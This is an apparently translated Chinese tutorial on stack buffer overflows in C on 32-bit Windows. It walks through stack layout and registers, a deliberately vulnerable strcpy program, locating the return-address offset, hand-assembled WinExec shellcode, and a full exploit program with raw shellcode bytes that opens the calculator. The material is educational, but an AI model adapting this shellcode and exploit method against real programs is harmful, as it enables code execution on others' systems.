什么是內存溢出?簡單的說,內存溢出就是程序向內存寫入了比分配更多的空間更多的內容。攻擊者據此控制程序執行的路徑,冒名執行它的代碼。對那些好奇這一切都是如何發生的人,本文試圖詳細介紹攻擊的實現機制并提出一些預防措施。
從我們知道的經驗來看,大多都聽說過這些攻擊,但是很少幾個真的理解攻擊的具體機制,有些人有些模糊的印象,甚至有些人根本不知道越界攻擊是什么。還有些人認為這個屬于秘密的智慧和技能只有少數幾個專家才能掌握的。實際上,它只不過是由我們這些粗心的程序員制造的漏洞罷了。
C語言編寫的程序擁有高效的性能和很小的二進制代碼,卻最容易感染這種攻擊。事實上,在程序界,C語言以靈活和強大著稱,然而它也是諸多新手最頭痛的語言。它提供了基于直接指針的函數調用,這樣在一些文本字符串的處理庫上無法控制真正的內存長度,因此容易導致內存溢出訪問。
在介紹任何攻擊的機制之前,我們先熟悉一下幾個和程序執行以及內存管理切切相關的基本概念。
進程內存空間
當一個程序被執行的時候,它的各個編譯單元被映射到一個組織良好的內存結構上,如圖1所示:
圖. 1:
進程內存空間

擴展:
text
段保護了基本的可執行的程序代碼,data段包括了所有的全局變量,data段的長度在編譯的時候決定。在內存空間的頂端是由stack和heap共享的地址段,他們都是在運行時分配。Stack用來保存函數調用的參數,局部變量以及一些用來保存程序當前狀態的寄存器值。Heap分配給動態變量,比如malloc和new。
Stack用來干什么?
Stack是一個LIFO隊列(先進后出),由于stack是在函數的生命周期分配的,因此只有在此生命周期內的變量存在在那,這一切的根源在于機構化編程的本質,我們吧代碼分解為一個一個的函數代碼段。當程序在內存里面運行的時候,它時而順序的調用函數,時而從一個函數調用另外一個函數,從而構成了一個多層的調用鏈。當一個函數執行完后。它需要去執行緊接著它的下一個指令,當從一個函數調用另外一個函數的時候,它需要凍。╢rozen)當前的變量狀態,以便函數執行完返回后恢復。Stack正好能實現這些需求。
函數調用
CPU順序執行CPU的指令,使用一個擴展的EIP寄存器來維護執行的順序。這個寄存器保存了下一個被執行的指令地址。例如,運行一個jump或者call一個函數,將會修改EIP寄存器。大家想如果把當前代碼的地址寫入EIP,會發生什么?
調用完該函數后需要執行的下一個指令的地址叫返回地址(return
address),當一個函數被調用的時候,我們需要把返回地址壓入堆棧。從攻擊者的角度來看,這個機制至為重要。如果攻擊者通過某種方法設法修改了保存在堆棧里面的返回地址,那么當函數執行完的時候,這個地址將被加載到EIP,因此內存溢出的代碼將被下一個執行,而不是程序里面的代碼,下面的代碼可以用來解釋堆棧的工作原理。
Listing1
void f(int a, int
b)
{
char buf[10];
// <-- the stack is watched here
}
void main()
{
f(1, 2);
}
當進入 f(),
堆棧的內容如圖2所示。
圖. 2 Behavior of
the stack during execution of a code from Listing
1

擴展:
首先,函數的參數被壓入了堆棧的底部(C語言的規則如此),緊接著是返回地址。下面進入f()的執行,它首先把當前的EBP寄存器壓入堆棧(后面解釋)并且給函數的局部變量分配空間。有兩件事值得注意:第一,stack是自頂部向下分配的,我們的記住下面這句匯編是增加了stack的大小,雖然這看起來有點容易迷惑,事實上就是ESP越大,堆棧越小。:
sub esp, 08h
第二,stack是32位對齊的,也就是說如果一個10字符的數組要占用12字節。
Stack如何工作?
有兩個CPU寄存器對于stack的功能至關重要,它是ESP和EBP。ESP保存stack的頂部地址,ESP可以被修改,可以被直接修改或者間接修改,直接操作的指令比如,add
esp,
08h,將導致ESP縮小8個字節。間接的操作,比如壓棧和出棧操作。EBP寄存器指向堆棧的底部,更精確的說是包含了堆棧底部和可執行代碼之間的距離。每次調用一個新函數的時候,當前EBP的值被首先壓入stack,然后新的ESP值將被移入EBP寄存器,現在EBP指向了當前函數的堆棧底部。[i]
由于ESP指向stack的頂部,它在程序執行過程中不斷變化,用它作為偏移量寄存器很笨重,這就是為什么要有EBP的原因。
威脅
如何知道什么地方可能會被攻擊?我們現在只知道返回地址是保存在stack上面,同時函數變量也是在stack里面進行處理。后面我們將了解,在某些特定的環境下,正是由于這兩個特性導致返回地址可以被改變。帶著這個疑問,下面讓我們來看一段簡單的小程序。
Listing
2
#include
char *code =
"AAAABBBBCCCCDDD"; //including the character '\0' size = 16
bytes
void main()
{
char buf[8];
strcpy(buf, code);
}
當執行該程序的時候,該程序會提示“內存訪問錯誤”[ii],為什么?因為當我們嘗試把一個16字節的字符串寫入一個8字節的空間(這個很少發生,因為缺乏必要的空間限制檢查)。因此分配的內存空間已經被超過,在stack底部的數據已經被改寫。讓我們再回顧一下圖2,stack里面的重要的數據:幀地址和返回地址都已經被改寫了!因此,當函數返回的時候,一個錯誤的返回地址已經被寫到EIP,這樣允許程序去執行該地址指向的值,產生了一個stack操作錯誤。由此看來,在stack里面破壞返回地址不僅可行而且很平常。糟糕的程序或者含有bug的軟件給攻擊者提供了一個巨大的機會去執行攻擊者設計的惡意代碼。
Stack
overrun
現在我們該梳理一下所有這些知識了。我們已經知道程序通過EIP寄存器控制代碼的執行,我們還知道在調用函數的時候緊跟在函數后面的一句代碼的地址被壓入堆棧,在函數調用返回的時候從stack恢復并移到EIP寄存器。通過一種控制的方法進行內存溢出寫入,我們可以弄清返回地址被保存的具體位置。這樣攻擊者就擁有了所有的信息可以去控制程序執行他想執行的代碼,創建有害的進程。簡單的來說,有效的進行內存侵害的算法如下:
1.
找到一段存在內存越界缺陷的代碼;
2.
探測需要多少字節才能修改返回地址;
3. 計算指向改變后代碼的地址;
4. 寫一段代碼用于被執行;
5. 鏈接在一起進行測試。
下面的Listing
3是一段可以被利用的代碼示例:
Listing 3 – The
victim’s code
#include
#define BUF_LEN 40
void main(int argc, char
**argv)
{
char buf[BUF_LEN];
if (argv > 1)
{
printf(?\buffer length: %d\nparameter length: %d”, BUF_LEN,
strlen(argv[1]) );
strcpy(buf, argv[1]);
}
}
這段代碼擁有所有的內存溢出缺陷的特征:局部stack緩沖,一個不安全的函數會去改寫內存,第一個命令行參數沒有進行長度檢查。
加上我們新學到的知識,讓我們來完成一個攻擊任務。我們已經清楚,猜測一段代碼存在內存溢出缺陷非常容易,如果有源代碼的話就更容易了。第一個方法就是尋找字符相關函數,比如strcpy(),strcat()或者gets(),他們的共有的特性是都沒有長度限制的拷貝,直到發現NULL(code
0)為止。而且這些函數在局部緩沖上進行操作,有機會修改保存在局部緩沖上的函數的返回地址。另外一個方法是反復試探法,通過填充大批量的數據,比如下面的例子:
victim.exe
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
如果程序返回一個訪問沖突的錯誤,我們就可以向下一步了。
下一步,我們需要構造一個大字符串,能夠破壞返回地址。這一步也非常簡單,還記得前面我們說過寫入stack都是以WORD對齊的么,我們可以構造如下示例的字符串:
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUU.............
如果成功,這個字符串將導致程序crash,并彈出著名的錯誤對話框:
The instruction at
?0x4b4b4b4b” referenced memory at ?0x4b4b4b4b”. The memory could
not be ?read”
我們知道,0x4b就是字符”K”的ASCII碼,返回地址已經被“KKKK”改寫了。好了,下面我們可以進入步驟3了,找到當前buffer的開始地址不太容易。有很多方法進行這種“試探”,現在我們來討論其中一種,其它的后面在討論。我們可以通過跟蹤代碼的方式來獲得所需要的地址。首先通過debugger加載目標程序,然后開始單步執行,不過令人頭痛的是開始執行的時候會有一系列和我們代碼不相關的系統函數調用;蛘咴诔绦蜻\行時監控程序的stack,跟蹤到出現我們輸入的字符串的下一句。不管用哪個方法,我們最終要找到類似于如下的代碼就算達到目的了:
:00401045 8A08 mov cl, byte
ptr [eax]
:00401047 880C02 mov byte ptr
[edx+eax], cl
:0040104A 40 inc
eax
:0040104B 84C9 test cl,
cl
:0040104D 75F6 jne
00401045
這個是我們所要尋找的strcpy函數,進入函數后,首先讀入EAX指向的內存的字節,下一行代碼再寫入到EDX+EAX的地址去,通過讀寄存器,我們可以獲得這個緩存的地址是0x0012fec0。
寫一段shellcode也是一門藝術。不同的操作系統使用不同的系統函數,就需要不同的方法達到我們的目的。最簡單的情況下,我們什么都不做,只是改寫返回地址,導致程序出現偏離預計的行為。事實上,攻擊者可以執行任意的代碼,唯一的約束是可使用的空間大小(事實上這一點也可以設法克服)和程序的訪問權限。在大部分情況下,緩沖溢出正是一種被用來獲得超級用戶權限、利用有缺陷的系統進行DOS攻擊的方法。例如,創建一段shellcode允許執行命令行處理程序(WinNT/2000下的cmd.exe)。通過調用系統函數WinExec或者CreateProcess就可以實現這個目標。調用WinExec的代碼如下:
WinExec(command,
state)
為了實現我們的目標,women需要傳遞這樣的參數:
- 將我們需要傳入的參數字符串壓棧,也就是“cmd /c
calc”.
-
將第二個參數壓棧,這兒我們不需要內容,就壓入NULL(0)。(從右向左的參數調用規則,先壓入第二個參數)
- 將剛剛壓入的“cmd /c
calc”的地址作為第一個參數壓棧。
- 調用WinExec系統函數.
下面的代碼是完成這個目標的一個實現:
sub esp, 28h ; 3
bytes
jmp calling ; 2
bytes
par:
call WinExec ; 5
bytes
push eax ; 1 byte
call ExitProcess ; 5
bytes
calling:
xor eax, eax ; 2
bytes
push eax ; 1 byte
call par ; 5 bytes
.string cmd /c calc|| ; 13
bytes
關于代碼的一些解釋:
sub esp, 28h
在函數退出的時候會首先回收函數的局部變量的棧長度,剛剛寫入stack的部分代碼現在被聲明為無效了,這就意味著程序將會把這部分stack分配給別的函數調用使用,從而破壞我們剛剛寫入的代碼,因此我們的第一個代碼就是將ESP減40個字節(相應的stack增長了40個字節)。
jmp calling
下一行語句跳轉到WinExec函數參數壓棧的代碼。我們需要注意以下幾點:第一,NULL值必須通過精心構造的方法獲得,因為如果我們直接寫一個0的話,將會在strcpy的時候被當成是字符串結尾而導致后面的代碼無法被寫入堆棧。因此只能把字符串放在最后。我們知道,調用call指令的時候,會自動將下一個指令的指針壓入stack作為返回地址,我們可以利用這個特性來把字符串和字符串的地址壓入堆棧。為此我們首先跳轉到calling語句的位置,將第二個參數壓入堆棧,然后調用call,將后面的地址壓入堆棧,接著開始順序調用WinExec和ExitProcess,下圖是調用順序,方便的計算各個變量的值。
Fig. 3 A sample
shellcode

聯想:
我們看到,我們的例子沒有考慮EBP壓棧的大小,這是因為我們假設使用VC7編譯,該編譯器不向堆棧壓入EBP寄存器的內容。
剩下的工作就是把上面的代碼轉換為二進制格式并完成程序進行測試了,下面是代碼:
Listing 4 –
Exploit of a program victim.exe
char *victim =
"victim.exe";
char *code =
"\x90\x90\x90\x83\xec\x28\xeb\x0b\xe8\xe2\xa8\xd6\x77\x50\xe8\xc1\x90\xd6\x77\x33\xc0\x50\xe8\xed\xff\xff\xff";
char *oper = "cmd /c
calc||";
char *rets =
"\xc0\xfe\x12";
char par[42];
void main()
{
strncat(par, code, 28);
strncat(par, oper, 14);
strncat(par, rets, 4);
char *buf;
buf = (char*)malloc( strlen(victim) + strlen(par) + 4);
if (!buf)
{
printf("Error malloc");
return;
}
wsprintf(buf, "%s "%s"", victim, par);
printf("Calling: %s", buf);
WinExec(buf, 0);
}
太棒了,它能夠工作了!這里需要從Listing
3代碼編譯的victim.exe放在該程序的當前目錄。如果一切順利,我們可以看到一個系統的計算器彈出來! |